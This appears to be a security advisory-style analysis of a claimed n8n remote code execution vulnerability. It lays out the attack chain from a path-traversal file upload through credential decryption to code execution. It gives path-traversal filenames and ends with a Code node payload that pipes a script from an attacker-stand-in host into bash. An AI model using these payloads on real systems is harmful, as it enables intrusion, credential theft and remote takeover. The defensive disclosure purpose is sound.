Critical n8n RCE Vulnerability (CVE-2026-21858): 100,000+ Servers at Risk

Technical Analysis: The Attack Chain

Root Cause: Form Webhook File Upload Validation Failure

CVE-2026-21858 originates from a critical oversight in n8n's Form Webhook node implementation. The Form Webhook node is designed to receive HTTP form submissions, including file uploads, without authentication - a legitimate feature for public-facing forms. However, the implementation contains a catastrophic flaw: it fails to validate or sanitize file uploads before storing them in predictable locations within the n8n installation directory.

Stage 1: Unauthenticated File Upload

Exploitation begins with identifying a vulnerable n8n instance:

1. Attacker scans for n8n installations (typically exposed on port 5678 or behind reverse proxies)
2. The default webhook endpoint pattern is /webhook/form-submission or custom webhook URLs visible in public workflows
3. Attacker sends a crafted multipart/form-data POST request containing a malicious file with a path traversal payload in the filename
4. Example filename: ../../../../.n8n/config.json or ../../modules/malicious.js
5. n8n stores the uploaded file without validating the path, enabling arbitrary file write anywhere the process has permissions

Stage 2: Arbitrary File Read via Configuration Manipulation

Once attackers can write files, they leverage n8n's configuration system:

1. Upload a crafted configuration file to .n8n/config.json that includes malicious module paths
2. Alternatively, overwrite existing workflow files (.n8n/workflows/*.json) to include code execution nodes
3. n8n's configuration allows specifying custom module paths and execution hooks
4. By reading system files like /etc/passwd, .env, or database configuration files, attackers map the environment
5. The most valuable target: .n8n/database.sqlite (for SQLite) or database connection credentials for PostgreSQL/MySQL deployments

Stage 3: Credential Extraction and Session Forgery

With database access, attackers extract the crown jewels:

1. n8n's database contains all workflow definitions, including embedded credentials
2. API keys, OAuth tokens, database passwords, and webhook secrets are stored in the credentials_entity table
3. While credentials are encrypted, the encryption key is stored in n8n_encryption_key environment variable or config files
4. Attackers extract the encryption key and decrypt all stored credentials
5. User session tokens in the sessions table enable admin account takeover
6. With admin access, attackers can forge authentication cookies and access the n8n UI

Stage 4: Remote Code Execution

Multiple paths to RCE exist once admin access is achieved:

• Code Node: n8n's Code node allows arbitrary JavaScript execution with full Node.js capabilities
• Execute Command Node: Direct shell command execution on the underlying system
• npm Package Installation: Install malicious npm packages with native modules containing backdoors
• Workflow Persistence: Create workflows that execute on startup or scheduled intervals for persistent access

Example malicious Code node payload:

const { exec } = require('child_process');
exec('curl https://attacker.com/shell.sh | bash', (error, stdout, stderr) => {
  return { output: stdout };
});